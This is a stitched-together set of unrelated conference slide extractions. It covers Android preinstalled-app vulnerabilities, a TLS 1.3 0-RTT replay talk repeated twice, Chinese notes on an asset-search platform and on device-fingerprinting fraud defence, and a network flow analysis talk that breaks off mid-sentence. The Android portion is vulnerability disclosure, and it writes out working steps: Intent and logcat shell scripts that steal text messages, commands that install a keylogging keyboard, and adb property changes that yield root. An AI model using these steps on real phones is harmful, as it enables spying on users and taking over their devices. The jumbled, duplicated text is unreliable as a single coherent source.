Oppo F5 – Command Execution as system User
com.dropboxchmod app exposes
this capability through an exported
service named DropboxChmodService
– Simple app containing only one class
with a single nested anonymous class
Recreated source code based on
the disassembled odex file
23
Intent i = new Intent();
i.setClassName("com.dropboxchmod",
"com.dropboxchmod.DropboxChmodService");
i.setAction("/system/bin/screenrecord --time-limit 60
/sdcard/notascreenrecording.mp4");
startService(i);
Source: https://www.flipkart.com/oppo-
f5-red-64-gb/p/itmezq6rgu7uhcf4
Approach 1: Transfer Command Output Using a Broadcast Receiver
1. Choose log tag (e.g., UQ2h9hVRhLfg) and register a broadcast receiver with it as an action string
2. Write lines of the script with selected log tag to the logcat log from the attacking app
Log.d("UQ2h9hVRhLfg", "#!/bin/sh");
Log.d("UQ2h9hVRhLfg", "content query --uri content://sms >
/data/data/com.dropboxchmod/msg.txt");
Log.d("UQ2h9hVRhLfg", "am broadcast -a UQ2h9hVRhLfg -p <attacking app’s package name>
--es data \"$(cat /data/data/com.dropboxchmod/msg.txt)\"");
3. Make the vulnerable app execute commands so it writes the lines to a shell script and executes it
logcat -v raw -b main -s UQ2h9hVRhLfg:* *:S -f /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh -d
chmod 770 /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh
sh /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh
24
Approach 2: Transfer Command Output Using a File in App’s Directory
1. Choose log tag with high entropy (e.g., UQ2h9hVRhLfg)
2. Make attacking app’s private directory world-executable and create a globally writable and
readable file (msg.txt)
3. Write lines of the script with selected log tag to the log from the attacking app
Log.d("UQ2h9hVRhLfg", "#!/bin/sh");
Log.d("UQ2h9hVRhLfg", "content query --uri content://sms >
/data/data/com.attacking.app/msg.txt");
4. Make the vulnerable app execute commands so it writes the lines to a shell script and executes it
logcat -v raw -b main -s UQ2h9hVRhLfg:* *:S -f
/data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh -d
chmod 770 /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh
sh /data/data/com.dropboxchmod/UQ2h9hVRhLfg.sh
25
Sample of Vulnerable Oppo Android Devices –
Command Execution as system User
Device
Country
Status
Build Description
R7 Plus
China
Not Vulnerable
full_oppo6795_15019-user 5.0 LRX21M 1465722913 dev-keys
R7S
China
Vulnerable
msm8916_64-user 5.1.1 LMY47V eng.root.20160713.211744 dev-keys
Neo 5
Australia
Not Vulnerable
OPPO82_15066-user 4.4.2 KOT49H eng.root.1469846786 dev-key
R7 Plus
India
Not Vulnerable
msm8916_64-user 5.1.1 LMY47V eng.root.20160922.193102 dev-keys
A37
India
Vulnerable
msm8916_64-user 5.1.1 LMY47V eng.root.20171008.172519 release-keys
F1S
Australia
Vulnerable
full_oppo6750_15331-user 5.1 LMY47I 1509712532 release-keys
F5
Malaysia
Vulnerable
full_oppo6763_17031-user 7.1.1 N6F26Q 1516160348 release-keys
R9
Australia
Vulnerable
full_oppo6755_15311-user 5.1 LMY47I 1516344361 release-keys
F3
Pakistan
Vulnerable
full_oppo6750_16391-user 6.0 MRA58K 1517824690 release-keys
F3
Vietnam
Vulnerable
full_oppo6750_16391-user 6.0 MRA58K 1517824690 release-keys
A77
Australia
Vulnerable
full_oppo6750_16391-user 6.0 MRA58K 1517824690 release-keys
R9
China
Vulnerable
full_oppo6755_15111-user 5.1 LMY47I 1519426429 dev-keys
A39
Australia
Vulnerable
full_oppo6750_16321-user 5.1 LMY47I 1520521221 release-keys
F3 Plus
Pakistan
Vulnerable
msm8952_64-user 6.0.1 MMB29M eng.root.20180413.004413 release-keys
R11
China
Vulnerable
sdm660_64-user 7.1.1 NMF26X eng.root.20180426.130343 release-keys
A57
Philippines
Vulnerable
msm8937_64-user 6.0.1 MMB29M eng.root.20180508.104025 release-keys
A59S
China
Vulnerable
full_oppo6750_15131-user 5.1 LMY47I 1525865236 dev-keys
A77
China
Vulnerable
msm8953_64-user 7.1.1 NMF26F eng.root.20180609.153403 dev-keys
26
SKY Elite 6.0L+ - Command Execution as system User
Device has old version of Adups software that allows command execution as system
user via a vulnerable platform app
– com.fw.upgrade.sysoper
• versionCode=238, versionName=2.3.8
This device appears to have no way to update its
firmware, despite the presence of Adups software
–
ro.build.date = Wed Dec 28 11:57:35 CST 2016
Phone purchased at Micro Center in Fairfax, VA
– SKY is a US vendor based in Florida
27
Source: https://www.amazon.com/SKY-Devices-Android-Unlocked-Smartphone/dp/B01N9V55HI/
Setting Your App as the Default Keyboard for Some Keylogging
Have the attacking app implement an Input Method Editor (IME)
/system/bin/settings put secure enabled_input_methods <ones that were already
there>:com.my.app/.NotSomeKeyboardService
/system/bin/settings put secure default_input_method com.my.app/.NotSomeKeyboardService
Send key presses to the attacking app via a sending a broadcast intent to a dynamically-registered
broadcast receiver
Can also set your app as the default spell checker
– Does not get the same amount of data as the “custom” keyboard
28
Capabilities of a Vulnerable Platform App
29
Device
Asus ZenFone V
Live
Asus ZenFone 3
Max
Oppo F5
SKY Elite 6.0L+
Obtain text messages
X
X
X
Obtain call log
X
X
X
Obtain contacts
X
X
X
Set as keyboard (keylogger)
X
X
X
X
Set as notification listener
X
X
X
X
Factory Reset
X
X
X
X
Call phone number
X
X
X
X
Take Screenshot
X
X
X
X
Record video
X
X
X
Install app
X
Set as spell checker
X
X
X
Write logcat log
X
X
X
X
Analysis Framework Workflow
30
Insecure Rich Communication Services (RCS) App
31
Source: https://www.t-mobile.com/devices/t-mobile-revvl-plus
Exported interfaces allow zero-permission app to send arbitrary text messages, read and
modify text messages, and obtain phone numbers of the user’s contacts
App has two different package names, where one is a
refactored version of the other
– com.rcs.gsma.na.sdk
– com.suntek.mway.rcs.app.service
Affects 3 T-Mobile devices: Coolpad Defiant,
T-Mobile Revvl Plus, and ZTE ZMAX Pro
Insecure Rich Communication Services (RCS) App
32
<receiver android:exported="true" android:name="com.rcs.gsma.na.test.TestReceiver">
<intent-filter>
<action android:name="com.rcs.gsma.na.sdk.TestReceiver"/>
</intent-filter>
</receiver>
<provider android:authorities="com.rcs.gsma.na.provider.capability" android:exported="true"
android:name="com.rcs.gsma.na.provider.capability.CapabilityProvider"/>
<provider android:authorities="com.rcs.gsma.na.provider.groupchat_member" android:exported="true"
android:name="com.rcs.gsma.na.provider.groupchat.GroupChatMemberProvider"/>
<provider android:authorities="com.rcs.gsma.na.provider.groupchat" android:exported="true"
android:name="com.rcs.gsma.na.provider.groupchat.GroupChatProvider"/>
<provider android:authorities="com.rcs.gsma.na.provider.message" android:exported="true"
android:name="com.rcs.gsma.na.provider.message.MessageProvider"/>
<provider android:authorities="com.rcs.gsma.na.provider.threads" android:exported="true"
android:name="com.rcs.gsma.na.provider.thread.ThreadProvider"/>
<provider android:authorities="com.rcs.gsma.na.provider.spamnumber" android:exported="true"
android:name="com.rcs.gsma.na.provider.spam.SpamNumberProvider"/>
<provider android:authorities="com.rcs.gsma.na.provider.spammessage" android:exported="true"
android:name="com.rcs.gsma.na.provider.message.SpamMessageProvider"/>
Send arbitrary
text messages
Obtain phone
number of user’s
contacts
Read, modify, delete,
and insert user’s text
messages
ZTE ZMAX Champ Vulnerabilities
Programmatic factory reset
– com.zte.zdm.sdm app writes --wipe_data to
/cache/recovery/command and boots into
recovery mode and wipes /data and /cache
Obtain logcat and modem logs
– Done in the same way described previously
Brick Device
– Device will boot into recovery mode, try to factory
reset, crash, and repeat
33
Source: https://www.zteusa.com/zmax-champ
ZTE ZMAX Champ – Brick Device
34
Alcatel A30 – Local root Privilege Escalation
Alcatel A30 was an Amazon Prime Exclusive device
– Had discounted price due to the inclusion of Amazon offers and ads
Certain read-only properties can be modified at runtime
allowing a socket that accepts and executes arbitrary
commands as the root user
– Can be performed via ADB or pre-installed apps that execute
as the system user
35
Source: https://www.amazon.com/gp/product/B01NC2RECJ
adb shell setprop ro.debuggable 1
adb shell setprop ro.secure 0
adb shell root
adb shell setenforce 0
adb shell
Alcatel A30 – Socket that Executes Commands as root
Once the ro.debuggable property is set to 1,
then a world-writable socket named
factory_test gets created
– Receives and executes commands as root
The system user, including platform apps, can
change the ro.debuggable property so that
the factory_test socket gets created
36
MICKEY6US:/dev/socket # ls –al
total 0
drwxr-xr-x 7 root root 760 2017-05-10 17:58 .
drwxr-xr-x 15 root root 4220 2017-05-10 17:55 ..
srw-rw----
1 system system 0 2017-05-10 17:58 adbd
srw-rw----
1 root inet
0 1970-11-08 00:12 cnd
srw-rw----
1 root mount 0 1970-11-08 00:12 cryptd
srw-rw----
1 root inet
0 1970-11-08 00:12 dnsproxyd
srw-rw----
1 root system 0 1970-11-08 00:12 dpmd
srw-rw----
1 system inet
0 2017-05-10 17:55 dpmwrapper
srw-rw-rw-
1 root root 0 2017-05-10 17:58 factory_test
on property:ro.debuggable=1
start bt_wlan_daemon
service bt_wlan_daemon /system/bin/factory_test
user root
group root
oneshot
seclabel u:r:bt_wlan_daemon:s0
Leagoo P1 & Leagoo Z5C
Leagoo P1 - Android 7.0
– Take a screenshot and write to SD card
– Programmatic factory reset
– Local root privilege escalation via ADB
Leagoo Z5C - Android 6.0
– Send arbitrary text messages
• Modified com.android.messaging app
– Read the most recent text message from each
conversation
• Modified com.android.messaging app
– Programmatic factory reset
• Modified com.android.settings app
37
adb shell setprop ro.debuggable 1
adb shell setprop ro.secure 0
adb shell root
adb shell
Source: https://www.amazon.co.uk/LEAGOO-Z5C-Android-smartphone-1-3GHz/dp/B06X3QLCGY
Exposed Screenshot Capability
Certain vendors have modified the Android OS to export the screenshot capability to any app on the
device
– Alcatel A30, Asus Zenfone 3 Max, Leagoo P1, Nokia 6 TA-1025, & Sony Xperia L1
Malicious apps can open apps to obtain sensitive data and examine active
notifications
– Can help bypass two-factor authentication
– Requires READ_EXTERNAL_STORAGE permission to access the screenshot and potentially
EXPAND_STATUS_BAR to view current notifications
Taking of a screenshot is not transparent to the user
– A screen animation is displayed and creates a notification
– Cannot be disabled, as the functionality lies within Android system_server process
– Attacking app can soft reboot the device to remove the notification
38
Vivo V7 Vulnerabilities
Dumps logcat, Bluetooth, and kernel logs to external storage
– Leaves a notification while logging, but logging app cannot be disabled
Set properties as the com.android.phone user
– Can enable screen touch coordinates to be written to the logcat log
Record the screen for 60 minutes to attacking app’s directory
– A notification appears but can be removed quickly
39
Source: https://www.vivo.com/my/products/v7
Vivo V7 Vulnerabilities
40
The 60 minute interval is set by the com.vivo.smartshot app
– Screen recording is performed by the /system/bin/smartshot binary
Intent i = new Intent();
i.setAction("vivo.action.ACTION_START_RECORD_SERVICE");
i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService");
i.putExtra("vivo.flag.vedio_file_path", "/data/data/com.attacking.app/screen.mp4");
i.putExtra("show_top_stop_view", false);
startService(i);
try {Thread.sleep(500);} catch (InterruptedException e) {e.printStackTrace();}
i = new Intent();
i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService");
stopService(i);
try {Thread.sleep(500);} catch (InterruptedException e) {e.printStackTrace();}
i = new Intent("vivo.acton.ACTION_CHANGE_TOP_STOP_VIEW");
i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService");
i.putExtra("show_top_stop_view", false);
startService(i);
Starts recording
Removes notification
Ensures at least one app
component is running in
the app, so it is less likely
to get killed
Takeaways - Towards More Secure Apps
Don’t export app components unnecessarily - enforce proper access control
Don’t assume apps without an accompanying Android Definition Interface
Language (AIDL) file cannot interact with a bound service…they can
Filter commands when allowing command execution as system user
Make it easier to report vulnerabilities by having a common email address such
as security@<vendor>.com
Thanks for attending and read the paper for more details!
41 | pdf |
PLAYBACK: A TLS 1.3 STORY
WHO ARE WE?
Alfonso García Alguacil
Alejo Murillo Moya
INTRODUCING TLS 1.3
The Good
•
KISS – Only 5 ciphers supported
INTRODUCING TLS 1.3
The Good
•
No vulnerable to the attacks impacting
previous versions
INTRODUCING TLS 1.3
The Good
•
Welcome Forward Secrecy
INTRODUCING TLS 1.3
The Good
•
Formal security analysis performed to
the protocol
INTRODUCING TLS 1.3
The Bad
•
Protocol tainted due to “compatibility
issues”
INTRODUCING TLS 1.3
The Ugly
•
0-RTT (this talk )
0-RTT: SPEED AT A COST
VS
Your browsers…
… and CDNs may
already be supporting
TLS 1.3 0-RTT!
… implementations …
BoringSSL
TLS 1.3 HANDSHAKE
TLS 1.3 HANDSHAKE
TLS 1.3 HANDSHAKE
TLS 1.3 HANDSHAKE
TLS 1.3 0-RTT
TLS 1.3 0-RTT
TLS 1.3 0-RTT
As you can see…
it may be possible to do REPLAY
REPLAY attacks!
REPLAY
REPLAY
REPLAY
TLS 1.3 0-RTT REPLAY
TLS 1.3 0-RTT REPLAY
TLS 1.3 0-RTT REPLAY
TLS 1.3 0-RTT REPLAY
TLS 1.3 0-RTT REPLAY
ANTI-REPLAY PROTECTIONS
Single-Use Tickets
Single-Use Tickets
ANTI-REPLAY PROTECTIONS
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
ANTI-REPLAY PROTECTIONS
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
“Freshness” checks
ANTI-REPLAY PROTECTIONS
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
“Freshness” checks
Application profiles
ANTI-REPLAY PROTECTIONS
Application profiles
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
“Freshness” checks
Separate API
ANTI-REPLAY PROTECTIONS (JUL-2018)
Single-Use Tickets
0-RTT without
protections
Single-Use
Tickets
Client-Hello
Recording
Application
Profile
0-RTT not available
Different API for
handling 0-RTT
Other protections
0-RTT only on “safe”
methods
0-RTT only on “safe”
methods, no params
BoringSSL
Partial
(HTTP Header)
n/a
n/a
n/a
n/a
n/a
n/a
ANATOMY OF AN ATTACK
• Vantage point in the network
ANATOMY OF AN ATTACK
• Browser and server with TLS 1.3 and 0-RTT enabled
ANATOMY OF AN ATTACK
• GET not being a “safe method” (a.k.a. RFC meets reality)
THE BROWSER BEHAVIOUR
• The browser decides when to send 0-RTT data,
which reduces the window for attacks
DEMO
IMPROVING OUR ATTACK
• Could it be possible to control when to send 0-RTT
data?
IMPROVING OUR ATTACK
• Could it be possible to control when to send 0-RTT
data?
YES!!!
CONTROLLING THE BROWSER
CONTROLLING THE BROWSER
CONTROLLING THE BROWSER
CONTROLLING THE BROWSER
DEMO
ANTI-REPLAY PROTECTIONS
Application profiles
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
“Freshness” checks
Separate API
IMPROVING OUR ATTACK (AGAIN)
• Imagine that somehow the TLS library and server
actually perfectly prevent any replay attack on 0-RTT.
IMPROVING OUR ATTACK (AGAIN)
• Could it be possible to do replay attacks?
IMPROVING OUR ATTACK (AGAIN)
• Could it be possible to do replay attacks?
YES!!!
UNIVERSAL REPLAY ATTACK
UNIVERSAL REPLAY ATTACK
UNIVERSAL REPLAY ATTACK
UNIVERSAL REPLAY ATTACK
UNIVERSAL REPLAY ATTACK
UNIVERSAL REPLAY ATTACK
UNIVERSAL REPLAY ATTACK
UNIVERSAL REPLAY ATTACK
DEMO
TOOL: HIGH-LEVEL DESCRIPTION
• Assumes a vantage point in the network
• Provides creation of templates for encrypted traffic.
• Supports the two attacks described on this presentation.
• Available at https://github.com/portcullislabs/tlsplayback
SIDE EFFECTS OF 0-RTT
• It is important to understand that 0-RTT creates a
dependency between the application and the
underlying TLS 1.3 protocol
• The application will need to be 0-RTT aware.
• Enabling 0-RTT could leave you application
vulnerable to replay attacks
• Ultimately, the last line of defence would be the
application itself.
MITIGATIONS
• Disable 0-RTT
• Ensure that your application does not allow
replays (e.g. strict CSRF). Ensure that REST services
are developed properly
• Create an strict application profile after careful
analysis
KEY TAKEAWAYS
• TLS 1.3 is awesome, but could lead to a
vulnerable application if 0-RTT is being used.
• Your application (not just webapps) needs to be
0-RTT-aware to prevent side effects
• You may need to change your application or
server/CDN configuration to protect against
replay attacks
Thanks! | pdf |
PLAYBACK: A TLS 1.3 STORY
WHO ARE WE?
Alfonso García Alguacil
Alejo Murillo Moya
INTRODUCING TLS 1.3
The Good
•
KISS – Only 5 ciphers supported
INTRODUCING TLS 1.3
The Good
•
No vulnerable to the attacks impacting
previous versions
INTRODUCING TLS 1.3
The Good
•
Welcome Forward Secrecy
INTRODUCING TLS 1.3
The Good
•
Formal security analysis performed to
the protocol
INTRODUCING TLS 1.3
The Good
•
Traffic inspection not as easy as it is
currently done
INTRODUCING TLS 1.3
The Bad
•
Protocol tainted due to “compatibility
issues”
INTRODUCING TLS 1.3
The Ugly
•
0-RTT (this talk )
0-RTT: SPEED AT A COST
VS
Your browsers…
… and CDNs may
already be supporting
TLS 1.3 0-RTT!
… implementations …
TLS 1.3 HANDSHAKE
TLS 1.3 0-RTT
As you can see…
it may be possible to do REPLAY
REPLAY attacks!
REPLAY
REPLAY
REPLAY
ANTI-REPLAY PROTECTIONS
Single-Use Tickets
Single-Use Tickets
ANTI-REPLAY PROTECTIONS
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
ANTI-REPLAY PROTECTIONS
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
“Freshness” checks
ANTI-REPLAY PROTECTIONS
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
“Freshness” checks
Application profiles
ANTI-REPLAY PROTECTIONS
Application profiles
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
“Freshness” checks
Separate API
ANTI-REPLAY PROTECTIONS (JUL-2018)
Single-Use Tickets
CDN 1
Single-Use
TIckets
Client-Hello
Recording
“Freshness”
Application
Profile
0-RTT not available
Different API for
handling 0-RTT
Other protections
0-RTT only on “safe”
methods
0-RTT only on “safe”
methods, no params
BoringSSL
0-RTT without
protections
ARE THOSE PROTECTIONS ENOUGH?
Single-Use Tickets
ANATOMY OF AN ATTACK
• Vantage point in the network
• Browser and server with TLS 1.3 and 0-RTT enabled
• GET not being a “safe method” (a.k.a. RFC meets reality)
IMPROVING OUR ATTACK
• The browser decides when to send 0-RTT data,
which reduces the window for attacks
• Could it be possible to control when to send 0-RTT
data?
IMPROVING OUR ATTACK
• The browser decides when to send 0-RTT data,
which reduces the window for attacks
• Could it be possible to control when to send 0-RTT
data?
YES!!!
CONTROLLING THE BROWSER
CONTROLLING THE BROWSER
DEMO
ANTI-REPLAY PROTECTIONS
Application profiles
Single-Use Tickets
Single-Use Tickets
Client-Hello Recording
“Freshness” checks
Separate API
IMPROVING OUR ATTACK (AGAIN)
• Imagine that somehow the TLS library and server
actually perfectly prevent any replay attack on 0-RTT.
• Could it be possible to do replay attacks?
IMPROVING OUR ATTACK (AGAIN)
• Imagine that somehow the TLS library and server actually
perfectly prevent any replay attack on 0-RTT.
• Could it be possible to do replay attacks?
YES!!!
UNIVERSAL REPLAY ATTACK
DEMO
TOOL: HIGH-LEVEL DESCRIPTION
• Assumes a vantage point in the network
• Provides creation of templates for encrypted traffic.
• Supports the two attacks described on this presentation.
• It has support for three modes:
• Mode monitor
• Active - No protections
• Active - Protections
• Available at https://github.com/portcullislabs/tlsplayback
SIDE EFFECTS OF 0-RTT
• It is important to understand that 0-RTT creates a
dependency between the application and the
underlying TLS 1.3 protocol
• The application will need to be 0-RTT aware.
• Enabling 0-RTT could leave you application
vulnerable to replay attacks
• Ultimately, the last line of defence would be the
application itself.
MITIGATIONS
• Disable 0-RTT
• Ensure that your application does not allow
replays (e.g. strict CSRF). Ensure that REST services
are developed properly
• Create an strict application profile after careful
analysis
KEY TAKEAWAYS
• TLS 1.3 is awesome, but could led to a vulnerable
application if 0-RTT is being used.
• Your application (not just webapps) needs to be
0-RTT-aware to prevent side effects
• You may need to change your application or
server/CDN configuration to protect against
replay attacks
Thanks! | pdf |
对抗实践
目录
01 终端风控的对抗体系
02 设备指纹的对抗之道
03 设备指纹的对抗实践
04 合规挑战的适应应对
01终端风控
对抗体系
设备
指纹
智能
验证
生物探针
行为
分析
应用
加固
安全管控
终端风控态势感知系统
机器学习平台
反欺诈模型
01终端风控
风险对抗
设备
指纹
智能
验证
生物探针
行为
分析
应用
加固
安全管控
唯一
标识
模拟
器
设备
篡改
设备
伪造
群控
识别
人机
识别
本人
识别
人机
验证
机刷
对抗
黑产
工具
刷机
抹机
联防
联控
异常
行为
风险
行为
敏感
权限
隐私
数据
网络
行为
动态
加载
应用
保护
文件
保护
代码
保护
文件
操作
合规
检测
数据
加密
反调
试
数据
盗爬
hook
攻击
02设备指纹
技术原理
场景
JS SDK
Android
iOS
SDK
浏览器类型、
版本
设备型号、设备名称
操作系统类型、
版本
系统版本、运营商、内网IP
屏幕分辨率
CPU、内存、存储大小
canvas指纹
开机时间、电量、屏幕亮度
浏览器插件
模拟器等系统运行环境信息
网络环境信息
各种传感器信息
协议指纹
SSL协议指纹、TCP/IP协议栈等信息
02设备指纹
技术原理
特征A
特征B
特征C
特征D
1 .组合特征
A+B+C+D
3.建
立映
射
设备精准
唯一ID
存
储
随机
算法
4.映射关系持久化
2.生成设备ID
生成
特征A
特征B
特征C
特征D
1 .组合特征
A+B+C+D
存
储
2.查找映射对应的ID
3.返回对应的device ID
还原
02设备指纹
风险画像构建
实际对抗中,设备指纹技术及模型算法需有效识别出模
拟器、作弊工具、云模拟器、改机、二次打包Ap p 、位
置伪造等上百种设备风险。业务风控平台可选用相关标
签进行风控策略配置,来有效识别并阻断恶意用户。
03对抗实践
黑灰产常用的手段
B
注入攻击 hook
D
群控/自动化工具 automation
F
刷机/恢复出厂设置 recovery
A
C
应用重打包 repacking app
E
多开 multiopen
模拟器/云模拟器 emulator
03对抗实践
改机、作弊框架、HOOK
对抗实践中可以采用通用特征识别结合特定
特征识别的方式,来有效识别各类已知、未
知改机作弊框架和工具,对于某些隐藏特征
的高级作弊工具也可以做到精确识别
03对抗实践
模拟器、云控、位置伪造
实际对抗中设备指纹需具备系统特征识别、协议指纹识别和C PU指令探测等通用的模
拟器识别算法,来有效识别各类已知和未知的终端模拟器、云模拟器。
常见品牌模拟器:如夜神、雷电、Mumu、逍遥、andyroid
云模拟器(红手指、海马云)
。Anbox/虚拟大师/blissOS
03对抗实践
群控、设备农场
示例:
群控监测
设备指纹,检测特定作弊工具
操作状态,输入速度,传感器状态
策略 & 无监督聚类
03对抗实践
M1芯片终端
M1之于业务的挑战
真机运行ipa
风控之于M1的对抗
识别M1真机、M1模拟器
02对抗实践
其他典型对抗
多开/分身:区分软件多开和系统多开
备份恢复/抹机恢复:相似度算法+黑科技
定制rom检测:检测到黑产ROM,会有特殊规则,输出风险标签
刷机检测:设备疑似刚刷过机,典型特征:应用数量少,开机时间短,存储空间利用率极低等
逆向对抗:数据结构加固、vmp保护、js动态更新、ast混淆
03对抗实践
典型有意思的业务思考
非本机恢复的思考
任意两部相同型号相同系统版本的设备,通过备份克隆APP,生成不同的设备指纹
逻辑上需要生成两个ID,有些业务“想”生成相同ID,业务上可以结合用户设备的一些字段,比如特别是设备名称、网
络、已占用的存储之类的 是可以配合来确认是否是同一个用户
网络信息异常
网络参数不合逻辑,如网络类型为Wi-Fi,但Wi-Fi为未连接状态,Wi-Fi、基站IP、VPN IP相同
改机检测与虚假设备
改机检测有可能没有实际发生参数篡改,虚假设备是发生篡改后的
03对抗实践
典型的终端风控模块
生物探针
智能验证
行为分析
安全管控
应用加固
安全清场
是不是本人
是不是真人
传感器数据
按压力度数据
操作链路数据
行为轨迹数据
设备维度数据
其他非敏感数据
加速度传感数据
陀螺仪传感数据
磁场传感器数据
滑动行为数据
按压力度数据
设备纬度数据
传感器特征模型
传感器时序模型
行为习惯模型
行为特征模型
生物探针技术
用户画像
生物特征模型
AI对抗+干扰+模型+终端风控
基底+画像
04合规挑战
适应与应对
安全
合规
数据安全
隐私合规
敏感数据
合法采集
系统限制
最小采集
去标识化
合规流程
算法优化
主被结合
联防联控
自适应性
风险
对抗
最小
采集
冷热
并用
去标
识化
主被
结合
终端
风控
跟随宿主权限、最小化采集
不要求敏感权限:GPS定位、手机状态
不依赖敏感字段:imei、wifimac、idfa
等
强化被动式设备指纹能力补充
强化设备基因能力
强化相似度算法
高版本强稳定字段
boot文本特征
支持灵活冷启动冷更新,采
集字段自定义配置;
支持热更新,配置下发,灵
活全局配置采集字段、采集
策略
设备ID不落前端,设备ID业
务动态化,动态+静态ID
分级
存储
风险
监测
严格控制采集频率、文件读写频率
严格控制文件读写位置,提供位置
配置化
按数据的重要性、敏感性、访问频
率、保留时间、容量、性能等分级;
合作方数据隔离;
THANKS
THANKS | pdf |
fofahub - 1
标签
地址
新增属性
fofahub
未开源
https://hub.fofa.info/
因为⾃⼰想做个 bugbounty 资产平台,所以体验了下 fofahub,记录些觉得不错的⽅式。
体验
新建项⽬ ( 图标好像是⾃动选取资产范围内的图标)
资产导⼊
输⼊范围域名后它能返回资产信息 (可能是根据 fofa 结果筛选)
fofahub - 2
分析⻚⾯
fofahub - 3
⽐较好的点是能通过分析⻚⾯的结果添加更多资产到“资产追踪”中。例如从证书主域名中添加更多域名,从根域名中添加域名。
点击⼀些详情后,会使⽤搜索语法到资产列表搜索
资产列表是以 ip 为维度,⼦域名什么的都是根据 ip 来的,这样显示其实有点乱。点击 ip,跳到 ip 详情。显示 ip 绑定的域名,端⼝,
标题,服务等等。
fofahub - 4
⼯作流
fofahub 资产收集是地基,核⼼是这个 workflow。
有点类似 python 的积⽊式编程。
可以看到它其中的函数:
数据源
资产仓库获取
fofa 获取
⽹络请求
http 请求
渲染 dom
截图
添加 fofa 搜索
协议获取(识别)
应⽤识别(指纹识别)
漏洞扫描
数据处理
格式化为 url
排序
去重
图⽚⽂章识别(OCR)
⽂本分类
数据输出
mysql
sqlite
excel
输出到仓库
图表
fofahub - 5
胡乱拼了⼀个 fofa 的 workflow,就可以不受限的获取数据了
这个时候还没有部署 agent
学习&总结
workflow
⾃动化编排使⽤积⽊式,之前也⻅到过使⽤关系图,使⽤ docker 函数式编程的⽅式,技术上说不清孰好孰坏,还是得看谁的⽤户量
⼤,⽤的多。
像 nuclei 使⽤ yaml 格式编写 poc,当官⽅仓库有⾜够量了,才能带动其他⼈编写。
但是他内置了 fofa,⽤来⽩嫖应该不错 ~
后⾯再内置⼀些其他的数据源,加⼀些⼦域名爆破之类的信息收集⼿段,就会不错。
资产管理
资产部分的数据应该都是来⾃ fofa,现在的 fofahub 就只是⼀个展示的效果,展示的也挺杂,管理相关更没多少。
柱状图
饼图
fofahub - 6 | pdf |
NETWORK FLOW ANALYSIS
DefCon 2008
Bruce Potter
[email protected]
[email protected]
Copyright 2008 - Bruce Potter
INTRODUCTIONS
Bruce Potter
Founder of Ponte Technologies
Focus on advanced defensive technologies
Founder of The Shmoo Group
We run ShmooCon as well as other events
Co-author of several books and other stuff
802.11 Security
Mastering FreeBSD and OpenBSD Security
Mac OS X Security
Don’t believe anything you hear in Vegas
It’s mostly made up for publicity, either personal or
corporate
We’re not formally trained… we shoot from the hip
Copyright 2008 - Bruce Potter
FIRST, A PLUG
No, I don’t get paid for this
We’ll be talking a lot about data representation
and visualization
This is not something to be entered into lightly…
there’s a lot of science and theory behind data
visualization
Unfortunately it’s hard to bring analysis and
visualization concepts to the lay person in a
reasonable amount of time
Copyright 2008 - Bruce Potter
EDWARD TUFTE
Probably best know for his slagging on PPT
Created the Gettysburg Address as a PPT… amusing
Published a series of books on data representation
and visualization
Visual Explanations
Envisioning Information
The Visual Display of Quantitative Information
Beautiful Evidence
Teaches 1 day classes around the country on data
representation and visualization.
Again, I’m not paid for any of this, but I seriously
recommend you go if you can
http://www.edwardtufte.com/tufte/
It’s darn near a religious experience for some
Copyright 2008 - Bruce Potter
IT Security Operations
Software
Network
IT Operations
Academic / Engineering
LET’S HAVE SOME STRUCTURE TO OUR
DISCUSSION
Honeypots
IDS, IR &
Flow Analysis
Software Security &
Software ACL’s
Firewalls & AAA Services
Patch management, procedures,
policy
Sophistication and Operational Cost
WHAT IS NETWORK ANALYSIS?
Quite simply, looking at evidence on or from the
network in order to determine information
regarding any of the following:
Security
Availability
Performance
Capabilty
Integrity
… really, any of the “ilities” (yes, performance is an
“ility” )
Copyright 2008 - Bruce Potter
MEANS FOR EXECUTING NETWORK
ANALYSIS
Basically, analysis involves
Collecting and storing data
Distilling and stirring the data around
Analyzing the results
Lots of ways to get evidence from the network
SNMP data from routers and switches
Raw packet captures
Auditing information from existing network infrastructure
(IDS, Firewalls, VPN gateways
Network Flows
Each has various advantages and disadvantages
Many existing products
However, doing “analysis” with these products takes
work… and do you really have time to do analysis or
should you be configuring your firewall and fighting other
fires in your network?
Copyright 2008 - Bruce Potter
A VIEW OF CURRENT THREAT SPACE
Copyright 2008 - Bruce Potter
General Purpose
Worms, virus, kiddies...
Skilled, Motivated
Org Crime, Nation State
Written Off
Or at least basically
ignored. Very
difficult with
today’s
technology.
“Solved” Problem
AV, AS, IDS, Firewalls.
These tools are highly
automated and geared
towards compliance.
Highly Targeted
Insider Threat
A VIEW OF CURRENT THREAT SPACE
Copyright 2008 - Bruce Potter
General Purpose
Worms, virus, kiddies...
Skilled, Motivated
Org Crime, Nation State
Written Off
Or at least basically
ignored. Very
difficult with
today’s
technology.
“Solved” Problem
AV, AS, IDS, Firewalls.
These tools are highly
automated and geared
towards compliance.
???
Requires some
manual work as
well as a different
set of tools than is
currently available.
Need to make analysts more effective
Collect, distill, and analyze the data. Not complicated, and lots of
prior art. However for the public security product space,
it might as well be rocket science
Highly Targeted
Insider Threat
TYPES OF SECURITY ANALYSIS TO BE
PERFORMED - DEPTH FIRST VS. BREADTH FIRST
Depth first
Depth first security analysis is what forensic analysts
usually do
This type of analysis makes sense when you already know
what you’re looking for or where you’re going to find it
Unfortunately it’s also the type of analysis that many ad
hoc security analysts end up doing
Tools like grep and normal shell scripting foo lead to this type
of analysis
Breadth first
Much more useful when you don’t know what you’re
